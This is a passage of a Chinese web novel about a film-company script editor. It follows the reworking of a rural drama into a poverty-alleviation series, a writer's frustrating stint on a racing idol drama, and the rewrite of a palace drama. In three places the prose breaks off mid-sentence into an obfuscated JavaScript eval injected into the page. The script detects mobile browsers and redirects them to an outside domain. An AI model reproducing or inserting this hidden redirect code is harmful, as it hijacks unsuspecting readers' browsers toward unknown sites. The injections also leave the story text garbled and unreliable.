霜晨月被父母逼婚逼得想跳楼,她原计划多攒点钱再辞职去省城,小说被锁,她不能再拿到电子阅读收入了,很多读者只看完结文,她连载时的收入比较有限。手上的积蓄撑不了几年,她想写点能卖版权的小说。 《玫瑰掌门》能卖掉影视版权,是无心插柳,霜晨月开始有目的地研究市面上的流行小说,越看越苦恼,乌泱泱的皇子王爷霸道总裁和影帝,是她的创作思维盲区。 霜晨月写东西有灵性,杨树很希望她能继续磨练笔头,不去写那些让她痛苦的套路小说,但她有生计压力,杨树介绍她给施严写剧本,同样会痛苦,但稿费相对有保障。 施严接手了一部赛车题材的偶像剧,是QE网站几年前买的IP,最近这任编剧改了6版剧本大纲,撂挑子了,但影视版权年底就到期,今年之内一定得开机,杨树想让霜晨月赚点快钱。 霜晨月连自己的小说《玫瑰掌门》都不愿担任编剧,但小说被读者举报,她被打击得有点重,妥协了。 转眼到了8月初,公司年度最重头的重大历史题材剧剧本《千秋纪》定稿,钱一诺送去重大办,请专家们把关,意外为《玫瑰掌门》迎来了转机。 明堂影业是国内很受上头重视的影视公司之一,老领导关心公司的储备项目,钱一诺提到《玫瑰掌门》,引发了他们的兴趣,它是农村剧,聚焦城市青年返乡创业,他们想看看剧本。 《玫瑰掌门》剧本以护肤品牌创业为主线,着力刻画陶吴村经济发展和转型故事,老领导看完现有的14集剧本,对它评价很高,尤为赞赏护肤品行业元素和农村剧相结合,夸它是类型融合道路上的创新尝试,建议整改后申报重大题材,获得政策和资金扶持。 杨树是《玫瑰掌门》责编,钱一诺带上她和詹忆去开会。会议上,总局老领导指出行业写得好,乡土人情味也浓,而且男女主角返乡创业实现自身价值,代表当代年轻人多元价值观,他们接到大量农村剧,都过于朴实,欠缺这种年轻感。 当初看中《玫瑰掌门》,杨树就觉得农村部分写得很亲切,女主角和志同道合的人们一起创业,并为乡村经济带来跨越式进步,调性温暖写实。老领导看上它也在于此,职业身份不同,欣赏习惯也不同,但好故事的标准差不了太多。 《玫瑰掌门》太言情化,钱一诺老早就想改名,拟了几个都不到位,老领导看重剧本塑造了时代青年群像,更名为《西北年轻人》,着力提升青春、发展和先进的气质,力求引发年轻人的共鸣。 钱一诺对《玫瑰掌门》的定位是农村剧,老领导建议侧重扶贫,以脱贫攻坚和生态建设两个大命题为线索,勾勒出社会主义新农村建设过程,从而宣传农村政策,用共情的方式呼吁并鼓励年轻人投身乡村发展建设。 主流观众年轻化,农村题材早已衰落,年轻人对扶贫剧不感兴趣,中年以上的观众也不爱看,视频网站更不愿意购买,这都是摆在《西北年轻人》面前的难题,但老领导给钱一诺吃了定心丸,国家对脱贫攻坚决心很大,往后几年,各大平台都会播出扶贫剧。 会议不长,但《玫瑰掌门》的销售压力迎刃而解。从投资角度,扶贫剧就是赔钱,但从国家层面,影视剧等媒介都是宣传工具,收视率如何,是否能盈利,都是次要,歌颂时代和做出贡献的人才是重点,这是国家意志。 扶贫剧的商业价值几乎没有,也不是明堂影业最拿手的类型,但一个公司总得做些更有意义的项目。钱一诺一直很珍惜《玫瑰掌门》,看重它的非数据性价值,今天讨到了尚方宝剑,欣然宴请杨树和詹忆。 老领导希望《西北年轻人》做出经济发展背景下时代的格局感,立足点放在展现扶贫政策的优越性,编剧们在这块是短板,詹忆想找个懂政策且对农村很熟悉的人当顾问,杨树举贤不避亲,推荐了她爸。 扶贫剧和其他主旋律题材不同,它和当下的法律和政策密切相关,涉及到大量党政内容,每年的一号文件、农村选举法、土地法、承包法……创作者都得烂熟于心。爸爸做了30多年民政工作,是很合适的人选,听说能当上顾问,助力女儿事业,他乐坏了。 从最初的行业故事,改为农村题材,再到扶贫剧,杨树想到这一路和编剧们磨情节的经历,百味杂陈。梁卓说《玫瑰掌门》变成《西北年轻人》,土味扑面而来,但杨树完全不排斥改成扶贫向,基层人员的一线工作很难很累 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081897|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,值得一写,女主角的创业之路离不开他们。 《玫瑰掌门》前途光明,杨树向霜晨月报喜,方知霜晨月答应写赛车背景的偶像剧之后,在施严那里受尽刁难。 霜晨月是杨树介绍去的,但没当过编剧,施严让她试写剧本大纲,霜晨月写出两万字,但施严嫌恋爱戏份太重,要求加入扎实的赛车部分,对标《头文字D》。 无论是原著小说,还是QE网站,对这部戏的定位都是偶像言情,霜晨月提出质疑,《头文字D》是少年向,偶像剧是少女向,安排几场重头戏,渲染氛围即可,不同的故事有不同的写法。 施严责备霜晨月太守旧,创作态度还不认真,把赛车部分做好,质感才上得来,到时候不仅吸引少女观众,还能吸引不分男女的全年龄段,创作者哪能没点野心? 霜晨月不懂赛车,看了好几部相关题材的电影,泡在专业论坛取经,还找赛车俱乐部成员采访,交出新大纲。施严仍不甚满意,但年底要开机,在大纲上不能过于恋战,他让霜晨月按他的意思再改一道。 按现有设置,男女主角都是赛车手,相爱相杀,施严认为女主角也是赛车手太不真实,不如改成网红解说员,负责直播,类似电竞解说那样。霜晨月认为这种改法削弱了女主角的形象,施严说女主角太强了就没代入感,女性观众不领情,霜晨月甩出一堆数据,都证实女观众很期待看到女主角和男主角并驾齐驱。 施严说那都是受过良好教育的少数群体,但网站想抓住的是大众,他也甩出一大堆图片,一些女人前仆后继证明自己的腰身窄薄,只有A4纸宽,她们还嘲笑健美身材的女人看起来太壮,施严说这样的女人才是偶像剧的主力受众。 霜晨月不能怨那些女人不争气,这都是长期被驯化的后果,身为创作者,她不想去写挂件式的女主角。 赛车活计是杨树介绍的,霜晨月担心请辞会让杨树难做,思想斗争了几天,但再改下去,她会更焦躁。他们买的明明是言情小说,为什么做剧本时,嫌小情小爱格局小,非要拔高成全年龄段,男女老少都爱看不可?是有这样的剧,但绝不是这种题材。 杨树想让霜晨月赚点快钱,落了空。她才意识到,当编剧就没赚快钱这回事,业内像施严这种自以为是的拦路小鬼不少,很多钱是赚不着的。她找上施严:“我看了陆霜写的剧本大纲,很好看,但跟你要的可能是两回事,赶紧换人赶工期。” 施严松口气,霜晨月是杨树介绍的,免费给他写了几版大纲,没有功劳也有苦劳,但写得实在不行,他碍于杨树的面子没好意思说,事实上他同步找了几个编剧在写大纲,择优录取。 杨树火大:“陆霜的时间不是时间?我觉得她写得挺好。” 施严让霜晨月白干了这么久,杨树负疚:“等我负责新项目,再找你写剧本。” 霜晨月说算了,不是所有钱都能赚到,她以前没写过剧本,尝试过这一回,够了,而且通过这件事,她想明白了,只有写自己喜爱的故事,创作才是愉悦的,她去年就想写的医学美容背景的小说,是时候提上日程了。 新小说目前还在搜集资料阶段,霜晨月想在讲故事的同时,探讨一些时代问题,她计划花上大半年时间深入了解,明年再动工,到时候去省城做份糊口的工作,边谋生边写。新作不是热门题材,她自己也知道,但是再怎么遇冷,多多少少也会有几个知音人,只要还能写,她就觉得生活充满希望。 医美背景不好卖影视版权,但杨树没泼凉水。活在世上,身不由己的时候太多,在写作上能保有一点自由度,已算可幸,随她去吧。很多创作者并不是冲着卖掉影视版权才写作,心里有个想写的故事,不写出来是很难受的。 霜晨月对过往作品没多少留恋,不计较《玫瑰掌门》被改成什么样,况且改成弘扬主旋律的扶贫剧,并没有对她想讲的故事、想塑造的主角造成损伤,她让杨树放手去操作。 电视剧具有商业属性,首要任务是发出去,《玫瑰掌门》变更为《西北年轻人》,有望成功发行,而且多半是好平台,不光是杨树,编剧们也都视为利好消息。辛苦一场,不过是想用各种方式让作品被更多人看到。 50. 第 50 章 《西北年轻人》进入了任务剧之列,杨树约了编剧时间,次日来明堂影业开会,传达会议精神,对剧本做出相应修改。 现剧本里,男女主角分工明确,女主角做产品,男主角做运营,但总局老领导认为运营比较虚,得让男主角更有分量。 詹忆私下说编剧明明通过很通俗有趣的实例,展示了运营是做哪些事,杨树揣测可能因为老领导是男人,男人介意男性角色在事业上围着女人转。 工作群里,编剧白蓝很感叹,男人很警惕,随时会强调男性地位,鼓吹妾妇之道的电视剧源源不断地拍出来。宋琳笑道:“我们女编剧任重道远。 白蓝性格比宋琳直接些,她说女编剧群体很多人都有自觉性,奈何面对平台,有时会碰到施严那种人,有时是一部分不具备性别群体命运意识的女性责编,你费劲写点东西,被他们各种打回来。 给《西北年轻人》男主角转行,是明天剧本会的重要议题,杨树想了一晚上仍没思路。既要让男主角职业更落地,还得跟主线扣得紧,很多职业都不合适,秦朗和丁盼兮帮她出主意,但想一个毙一个。 第二天,杨树对着镜子拍爽肤水,秦朗灵机一动,叫道:“电气工程师怎么样!” 杨树对理工科知之甚少,秦朗讲给她听,假如男主角主业是电气工程师,从事灌装和包装系统的研发,就能为女主角提供专业支持,从瓶瓶罐罐的开发到生产制造,从灌装、贴标到码垛,可写的非常多,大到设备系统,小到灌装头不滴漏、不溢出,绝对能写得精彩。 杨树捞过他脖子,亲他一大口,刚才他拿起她的护肤品问东问西,精华、乳液、眼霜和面霜为何装在不同容器里,容量为何也各有千秋,她一样都答不上来,但这必然是看点。 剧本会上,男主角电气工程师的身份得到认可。钱一诺传达了老领导的具体要求,虽然《西北年轻人》带有一定的政策宣传属性,但影视剧本质是娱乐产品,仍要保证观赏性。 考虑到编剧已经写了14集剧本,却得从男主角的职业身份改起,手术较大,钱一诺让法务拟定补充协议,一集稿费增加3万,并按成片集数算稿费。 钱一诺不加稿费,编剧们也得往下写,会后,他们都来答谢杨树,但这是钱一诺的自发行为,杨树不敢揽功,心里有几分感动。比起施严同时找上几个编剧比稿,空手套白狼的行径,自家老板很公道。 《玫瑰掌门》走到柳暗花明处,杨树的生日也到了。秦朗送的是一款品牌床垫,价格高昂,杨树骂他瞎花钱,秦朗很无辜:“等生日过完,定情纪念日也到了,两件礼物并一件,我还省钱了。你整天忙成狗,想让你睡得好点。” 朱青送来一支品牌钢笔,丁盼兮送的是相机,主要是给秦朗用的,他对电子、机械类产品玩得溜,能多拍点好照片。 丁盼兮去布拉格旅行那次,就已经给杨树带了昂贵的摆设当回礼,杨树嗔怪她,丁盼兮说:“朋友嘛。” 祁宁回京,为杨树庆生,送出的礼物是一位当代大画家的油画。年初他演的都市剧播出时,杨树夸他某场戏演得非常好,还赞叹美术搭景一流,祁宁说那套房子是长夜影视公司大老板朋友的私宅,借给剧组拍戏。该朋友请了知名室内设计师,设计带装修费花了大几百万,杨树问:“所以墙上那谁的画是真迹?” 大画家的作品辨识度很高,有童真感,很多普通人会买仿品,作为墙上的装饰画,当然,他们并不知道是仿品,觉得好看就买了。祁宁找人打听,剧里那幅油画确实是真迹。 长夜影视大老板有收藏艺术品的习惯,跟大画家的经纪方有点私交,既然杨树特意问到画作,可见很喜欢,祁宁托柳艳帮忙,订了这幅小尺寸的。 杨树知道大画家的作品在拍卖场上很受欢迎,数百万起步,她不肯收礼物,祁宁说这种是私人人情,大画家常规尺寸的作品都送上拍卖场,这种笔记本电脑大小的随手一画,用于人情往来,算是赠送。杨树问:“真的不贵?” 祁宁点头:“真的不贵。” 大画家很有名,身价也高,连杨树这种平时不关心艺术品收藏的人都有耳闻,于是当初顺口一问,祁宁竟然记住了,她坚持把画作推回给祁宁,祁宁伸出一只手掌,按住画框,探身凑近她,目光闪动:“我就问你,喜欢吗?” 杨树看向画作,它构图很简洁,红色铺满整个画面,孩童孤独地站在悬崖边,四周绿意葱郁,有一种宁静而忧伤的感觉。她得承认,她是喜欢这幅画,它让她想起童年,置身在故乡草原无边无际的绿意里,感受到茫茫的孤寂。 小孩子是懂得孤独的,尽管并不被大人明白,艺术家看到了它,留存在画境里。杨树的指腹拂过画面,祁宁说:“我给自己也弄了一幅一模一样的,想跟你一起庆祝一下。” 杨树抬眼看他,祁宁的笑意从眼睛里奔涌出来,说他演暴骄废太子期间,得到制片人和导演的认可,他们开的新戏找他演男一号。 新戏以清朝广州十三行为背景,从乾隆年间写到道光年间,故事大开大合,纵横捭阖,祁宁给了剧组五个月时间。 广州十三行是清政府闭关政策下唯一幸存的海上丝绸之路,与亚洲、欧美主要国家都有直接的贸易关系,有“天子南库”之称。男主角的家族创立洋行,是十三家有实力的商户之一,洋行在他手上发扬光大,祁宁饰演这么一位清朝行商,自然得剃光头。 女明星戴假发片很常见,但男人戴了很不自然,剃光头是个很难的选择,拍摄期长达五个月,再加上等头发长出来的时间,开机后大半年到一年,无法接任何商业代言,也不便参加综艺节目,曝光率极低。 这个戏不是言情剧,题材又冷门,有点演技的上升期小生团队通常不会选它,杨树相信片方找过别人,祁宁毫不犹豫就答应了。 夜长梦多,祁宁接到邀请当天,飞回北京跟制片人签约,然后连夜回横店拍戏。他忍着没向杨树透露,就是想当面跟她说,若不是杨树力荐,他不会去争取暴骄废太子一角,也就没有演上男一号的机会。 杨树认为他演男一号是迟早的事,有天分,还勤勉,肯琢磨戏,台词也背得熟,这样的演员,有心人不会亏待他。 暴骄废太子一剧有很多骑马戏,开机前,导演打算让演员集中培训,但男女主演都是人气偶像,团队都说骑马太危险,不同意培训。 拍摄周期很紧,制作方只好找人做了机械仿真马,祁宁是男二号,戏份重,但不管拍到多晚,都驱车去马场勤学苦练,学会了骑马,他觉得真马比特殊物理道具的马有动态美。 祁宁担心受伤,影响拍摄,每次练习骑马都戴了头盔和铠甲,又累又重,闷得一身汗,不知摔过多少跤。有天被制片主任发现他崴了脚,他说是走楼梯踏空了,当时制片主任没多说,但当祁宁被男女主角集体排挤时,制片人特地过来跟他勾肩搭背,喊他去喝酒。 不敬业的人难免心虚,但那之后,男女主角都不再明目张胆刁难祁宁。杨树很高兴:“演上男一号,开和了,以后会更好。” 祁宁含笑道:“好运气是你带来的,现在能收下画吗?我嘴笨,不大会说话,但我是真的很想感谢你。” 杨树笑纳了生日礼物,其实,机会明明是他自己争取到的。祁宁循例把她送到单元楼下,下车为她开门:“你说过,我们是朋友。你收别的朋友送的礼物,也有这么多顾虑吗?” 杨树心想,别的朋友可没送我这么贵的礼物,她笑道:“把我当朋友,就别老是感谢来感谢去的,朋友之间轻松点,不要有心理负担。” 祁宁伸手比个V字:“你也一样。大大方方地送,大大方方地收,就这么说定了。” 他还真执着,杨树笑出声,祁宁看着她笑,轻声说:“晚安。” 杨树觉得自己是一颗被温柔注视的大白菜,目送他开车离去,回家把画作摆在卧室的电脑桌上。她跟秦朗和丁盼兮说了大致价格,但这两人都不以为意,反正又不拿出去卖,这就是一幅好看的画而已,而且再不红的明星,也比普通人挣钱多,他们都让她不用替祁宁心疼钱,她的确帮了他很多。 《西北年轻人》新版剧本从容推进,部门成员手上也都有责编项目了,杨树把第二道关,意见和建议汇总交给詹忆,姚澈找上她,让她带个新项目。 前年,公司买了一部古代言情小说《北宸宫事》,主线是架空王朝两代太子妃的故事,一人当上皇后,一人经历宫变,重回民间,不知所终。 原著是双女主设置,两人互为镜像,傻白甜与美强惨,拯救与被拯救,依附他人与自强不息,剧本把美强惨提升为第一主角,做成大女主剧。去年,前5集剧本拿去平台评估,两家视频网站都想跟明堂影业签约做成分账网剧。 分账是指平台与片方按照一定比例分成,点击量高收益越大。但在姚澈看来,《北宸宫事》是大剧,她想台网联播。古装剧是最受观众欢迎的剧种之一,以剧本的质量,拉投资和谈平台都不会太难。 《北宸宫事》写剧本期间,发生了《不惑之年》被安歌搅黄事件,姚澈为了避免重蹈覆辙,让编剧先写完40集剧本,以他们的水平,写完不会没人要。但在剧本创作过程中,外部环境悄然发生变化,姚澈打听到,开机、杀青和建组的大女主古装剧已高达几十部。 早在2013年,政策就规定,所有卫视黄金时段播出的古装剧总集数,不得超过年度所有播出剧目总集数的15%,但观众爱看古装剧,政策再限制,也总能想出办法,可是一泛滥,前景就不妙了,平台吞不下大量同质化作品。 即使今年内拍摄《北宸宫事》,明年内制作完毕,也不能保障这期间限古令不会升级,政策说下就下,但一部戏的周期少说几年,风险太大。 重大题材不在限古令限制范围内,姚澈调整原本的大女主结构,落脚在“皇家家事”上,以人为本位,从皇族亲情视角来写家庭观,做成古装历史大剧,架空皇朝的太子妃也改为真实历史里宋真宗的皇后刘娥。 帝王同时是谁的丈夫谁的爷爷,皇后也是谁的妻子谁的婆婆,他们都有社会身份和家庭角色,编剧们认为这是普世情感,在中国式亲情之外,还能切入波澜壮阔的历史,很有写头,但他们从剧本大纲到35集剧本,写了快两年,很难跳脱固有思维,去写全新角度的故事。 《北宸宫事》改名为《北宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081898|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫事》,现剧本很多内容都能保留,但视角一变,调整不小,姚澈提出增加稿费,但编剧们仍然请辞,他们陷入太深,有点疲了。姚澈多少知道他们的想法,疲惫当然会疲惫,写新项目才更实际。两年,影视业一切都在涨价,编剧接新项目,远远高过在这边的补偿稿费。 《北宋宫事》兼顾朝堂和后宫,既要写出历史感,还得关照到现实,写出中国传统“家文化”,对编剧的要求很高。姚澈希望能找到原创能力强的编剧,能写套路之外的人情,杨树想到霜晨月,她写过几部古代小说,都把传奇和家常感融合得很好。 杨树和霜晨月聊了很久,霜晨月本身就是原著《北宸宫事》的读者,愿意为它努把力,有杨树在,她不用担心还像施严那个赛车项目一样,搭上时间,耗尽心血,白写几版剧本大纲。 霜晨月没有编剧经验,姚澈让方雯带着她写。《不惑之年》搁置后,方雯写完了朱青部门策划的都市剧,近来在休假,她没写过古装剧,但编剧技巧好,跟霜晨月能互相弥补短板。 霜晨月远在四川小城,杨树约方雯面谈。创作《不惑之年》时,方雯抑郁了一段时间,都市剧治好了她,她写得很顺利,笑言把剧中反派的名字从潘洁改成潘歌,这口气顺过来了。 万丈高楼夷为平地,涂芊和张瑞江都很反对。视频网站很愿意进行分账合作,何苦再从头折腾? 此前,视频网站的分账体系集中在网络大电影上,分账剧处于刚起步阶段,规则不够清晰,姚澈对《北宋宫事》期许很高,她要的不是卖掉,而是大成。即使公司想试水分账,她更愿意拿小成本的都市言情剧试试。 詹忆站在姚澈这边,但提议修改女主角的人设。原著和原剧本里,太子妃是野心家,去年立项之初,众人就都反对让她当第一主角,但原著在网上很火,既然张瑞江喜欢拿数据说话,姚澈拿数据压住了他,女主角野心勃勃,是原著最值得保留和还原的精髓部分,读者喜欢,观众也会喜欢。 前5集被两大视频网站认可,卫视也不反对写强悍女主角,这才继续写下去,但詹忆认为,新版叙事重心既放置在家庭生活里,女主角的性格就没必要太强了。 姚澈不肯改,女主角深处波澜诡谲的禁宫,她只有向往权力、握紧权力,才可能免于被支配被主宰,所以必须是野心家。 杨树说:“为什么女主角不能泼辣厉害?想拿到家庭大权的女人多了去。厉害女人、厉害儿媳妇、厉害婆婆在座的都见得多。” 市场上很多同类型的剧,写的是善良单纯的少女被动卷入纷争,出于自救被迫去争夺权力,姚澈说那是男权俯视下的女人,是言情剧的惯例,不是她要做的古装历史剧。她想做《北宋宫事》的目的之一,就在于能塑造权力巅峰的女人,权力之路刀光剑影,女主角如果不狠不果决,杀不到最后。 姚澈是公司元老,且是实干派,涂芊敬她几分,她坚持己见,涂芊不多说了。张瑞江审时度势,也没有再反对女主角人设。 《北宋宫事》原著是架空皇朝,原剧本沿用了原著的架空背景,但服道化都参考了宋朝,姚澈请了文史和古代服饰专业研究者指导服道化,如今改做历史向,落地到宋太宗到宋真宗年间,还得有部分调整。 历史向比言情向严谨得多,服道化都马虎不得,张瑞江听闻这块的费用,连声说不值当,网上有不少自诩历史达人的人热衷给影视方洗脑,要求服道化必须还原史实,越考究越好,但影视剧做出来了,他们只会看着剧照挑刺,再打着呵欠宣称自己从不看国产剧,既不贡献收视率,也不贡献正面评价,理他们那么多干嘛。 涂芊也说只要剧情好,服道化能看就行,花重金打造服道化是瞎烧钱,姚澈不赞成,剧情当然会尽力做好,服道化若跟不上,同样成就不了一部经典作品。历史剧之所以历史剧,历史两个字,不仅靠情节展现,衣食住行也都是历史的一部分。 张瑞江说:“这几年狂吹服道化的剧一部都不好看,剧情没意思,才把服道化当重点吹,这是本末倒置。” 钱一诺否了张瑞江,剧本往能力范围最好里做,服道化也绝不能凑合,他不想以后每每看《北宋宫事》,心里都会咯噔一下,又不是拉不到投资,为什么不精益求精? 《北宋宫事》沿用《战朝阳》班底,姚澈和单明玉前后合作过四次,磨合得很充分,知道她率领的团队能做到哪个程度。 《战朝阳》还没杀青,单明玉分身乏术,《北宋宫事》原责编同时在负责另一部剧,姚澈让杨树担任新责编,替她主抓剧本,新人新气象。 《西北年轻人》和《北宋宫事》都调整了剧本方向,但前者只用强化扶贫,相对简单点,后者从剧本大纲改起,基本是重写,杨树把主要精力放在《北宋宫事》上,频繁去拜访文学院和历史所的专家,都是她在青芽图书公司攒下的关系。 专家们把控历史大框架真实,专业戏剧层面交给编剧方雯和霜晨月,把历史人物构建成戏剧中的人物关系。编剧创作新版剧本大纲期间,杨树学习经典历史剧,一场场拉片子,做大量笔记。《北宋宫事》是明堂影业的重点项目,她有预感,这会是自己从业生涯很重要的一役。 51. 第 51 章 施严告知杨树,《大唐银楼》被卫视退片了,跟组时,他被女主角折磨惨了,对此很是幸灾乐祸。 大咖女主角当初出演《大唐银楼》,粉丝们闹得很凶,以她在电影方面的履历,跑去演言情剧太折堕,实在不爱惜羽毛。大咖在一片反对声里进了组,多方都不解于她的“下凡”之举,虽然名编大导齐齐加盟《大唐银楼》,但原著不过是网络小说,大咖想演电视剧,明明有更好的选择。 施严也不解,驻组后才得知大咖是为生活所迫。她年少成名,风头无两,在浮华世界混久了,染上赌博恶习,攒下的金山银山所剩无几。 大咖的钱财来得快,去得也快,在一次品牌珠宝展上,她鬼迷心窍,藏起一条价值千万的项链,被品牌方发现。大咖想让助理背黑锅,但品牌方不依不饶。 丑闻若被品牌方被传出去,大咖将面临极大麻烦。青芽传媒有个投资人是权贵的女婿,大咖求到他头上,女婿念在旧情的份上,出手相帮,条件是大咖出演《大唐银楼》。 大咖号称超一线,但演《大唐银楼》只拿了1千万现款,余下7千万算她参投。她还指定情郎王思逸演男主角,理由是王思逸演技好,只缺个一炮而红的机会。 开机后,大咖想搞个新闻炒一炒,但实在找不到炒作点,让剧组把地板换成地暖。组里一边施工,一边拍戏,都被逼疯了,其后,一篇盛赞大咖敬业的新闻通稿满天飞,她赤足怒奔在宫廷的画面传遍网络,自述不顾寒冷,只为演得有感染力,让观众看得满意。 戏拍到一半,王思逸和饰演宫女的跟组姑娘好上了。大咖跟他爆吵,王思逸恼羞成怒,动手打了她,他本来就有打女人的习惯,家里的太太一直在看心理医生。 大咖让编剧修改剧本,减少王思逸的戏,因为她不能看到他的脸,一看就心如刀割。编剧被几番折腾,还被她出言羞辱,宣布罢工,导演压不住大咖,李伊梦去做思想工作,但大咖反复就一句话:我心情太差,想休息一阵,陪陪女儿。 李伊梦向青芽大老板汇报,请那位权贵的女婿出面,女婿建议让王思逸的武术替身上场,但大咖拒绝和替身对戏,她搭王思逸已是屈就,凭什么再跟路人甲搭戏? 剧组被迫大段删减王思逸的戏份,施严在剧组有保密协议,到这会儿实在忍不住,都抖给杨树。杨树想起立项之初那几次剧本会,李伊梦把男配角提为男主角,编剧为他写了大量戏份,统统白写了。 《大唐银楼》拍摄期间,几家平台都派人去现场看过,如今样片送达,他们嫌它太烂,尽管青芽投资人跟两家平台交好,仍没能卖出去,监制李伊梦不得不喊回执笔编剧和剪辑师整改。 《北宋宫事》和《大唐银楼》打的都是古装历史剧的牌,杨树好奇心起,找祁宁要样片。长夜影视公司是联合出品方之一,祁宁让助理给杨树寄来光碟,杨树连看五集,服道化很精美,但剧情一塌糊涂,很明显是被各路神仙指挥得乱了套。 杨树连带对导演的叙事能力都产生怀疑,无论是走情节,还是展现人物关系,全都用嘴说。一场场戏无非是换个地方说话,要么坐着说,要么走着说,要么躺着说,阴谋阳谋也全都大嘴巴明晃晃地说出来。 舒纹粗剪时就抨击过是大烂剧,但导演说是为了照顾普罗大众,台词太晦涩观众会嫌看不懂。丁盼兮在准备CPA第二场考试,停下来看了两集,主创想写荡气回肠之恋,但为了误会而误会,她不仅不感动,还嫌人物没脑子。 连基本逻辑都站不住的情感,没人爱看,杨树退出样片。当时在热恋的两个人,演起对手戏居然也能毫无感情,毫无诚意。不过可能也没办法,他们自己也理解不了角色到底在发什么疯,但这是成年人的商业合作,不能违约。 《大唐银楼》被退片一事不知被谁抖了出去,网上传开了,从片方到大咖和王思逸都矢口否认,话里话外暗示历史剧过审艰难,狠狠卖了一通惨。 这部剧挂的是大编剧武德的名字,但对他毫无损失,他能赖给导演和演员,还能推到审查制度上,迷信名气的大有人在,他依然能继续招摇撞骗,定金赚个饱。只可惜他手底下的小编剧,拿点微薄稿费,却连指着电视说其实那是我写的机会可能都没有。 一部失败的作品,在剧作时就能看到失败,杨树把《大唐银楼》当成前车之鉴,投入到《西北年轻人》和《北宋宫事》。 《北宋宫事》新版剧本大纲做出来,杨树不甚满意。霜晨月是情节派,方雯长于轻喜,5万字大纲里时有温馨逗乐,也不乏痛苦撕裂,把封建王朝第一家庭写出了可亲可悯之处,但男性角色统统不如女性角色丰富,朝堂戏也写虚了。 从大女主向调成历史向,父子君臣关系是最具看点的地方之一。只有写出人物命运的纵深感,才有历史大戏的气质,杨树反复看大纲,判断是创作者和创作的人物性别差异导致的问题。 通俗文艺作品里,男性创作者塑造的女性形象多数单薄刻板,女性创作者同样面临这种局限。但跟男性有所不同,男性创作者的不能理解,是不愿意去理解,而女性创作者的不理解,有时是理解偏差。 从剧本大纲来看,帝王和储君有强大的一面,也有真实的创伤,但两个女性编剧都回避了他们的虚弱、自恋和卑劣,塑造的是“至高至惨帝王”。 如果是言情向,写出强者的深情和悲哀就够了,但在历史向的语境下,对最高权力者满怀怜爱,是有问题的。杨树分析这可能不仅是性别差异,还跟权力弱势有关,弱势一方能理解自己,也肯去理解权力高位的一方。 杨树跟两个编剧开了会,让她们往狠里写。既然是描写封建社会,批判思想不能丢,看似轻松愉悦的氛围,一样能揭露封建礼教对人类情感的摧残。 编剧们领会去了,杨树观看近期上映的喜剧片换换脑子,但仍不放心。丈夫不理解妻妾,父亲和儿子们互相不理解,何况他们的社会身份还分别是帝王、后妃和储君人选。如果能把这种不被理解、无从理解的深切孤独写好,更能表达中国式亲情,可这需要极强的创作功底。 《北宋宫事》并非力透纸背的历史小说,底本写得不深,工期还赶,编剧改剧本大纲期间,杨树拜访《瓷缘》总编剧李峻,听他讲述历史观,再到处抓人开会,助编剧拓宽思维。 亲友们都被杨树用上了,秦朗首当其冲,但他顶多出其不意贡献一两个金点子,系统地创作是门外汉,用处不大;梁卓能说上一些,但他恨不能化身为帝师,满脑子以古喻今、干预时局的想法;郑致只喜欢宋朝文化,因为他们重视文人,别的说不出所以然。 给杨树帮助最大的是易无,他在《西北年轻人》编剧组是助手,写剧本任务不重,但他写过几个权谋故事,有创作者的思维。杨树和他配合默契,协助编剧探讨人物,编剧们再交出的剧本大纲,完成度很高,得到姚澈的认可,她让编剧先不做分集梗概,直接在原剧本上重写前5集剧本,把风格定下来。 9月下旬,《战朝阳》杀青,它剧本才24集,导演单明玉足足拍摄了3个月,比它早开机的《瓷缘》还在拍摄中。 《北宋宫事》明年才开机,美术和剧本都有专人来抓,单明玉暂时仍以《战朝阳》为重。《战朝阳》是边拍边剪,剪辑师做出了粗剪样片,但导演是影视视觉艺术最终且是最直接的书写者,单明玉把剪接视为头等大事,亲自剪预告片,亲自谈配乐,不假手他人。 杀青两天后,《战朝阳》推出时长为29秒的第一支预告片,流量一呼百应,再加上郑致等宣传运营人员发力,在网上很有反响。 杨树一有空就去观摩单明玉剪素材,勤学好问。《大唐银楼》等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091457|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多被公认成烂剧的作品,都被观众评价剧情拖沓节奏慢,她对照《战朝阳》剧本定稿和精剪片段,琢磨单明玉对素材的取舍,哪些台词点到为止,哪些段落要烘托强调,随时随地吸收她不懂的知识。 渐渐地,杨树咂摸出门道了,《大唐银楼》充斥不必要的过场说明和铺垫,人物之间经常不敢正面交手冲突,明明能把情感和情节往极致里推,但主创人员都躲开了,导致重头戏不够重,还一车轱辘废话。 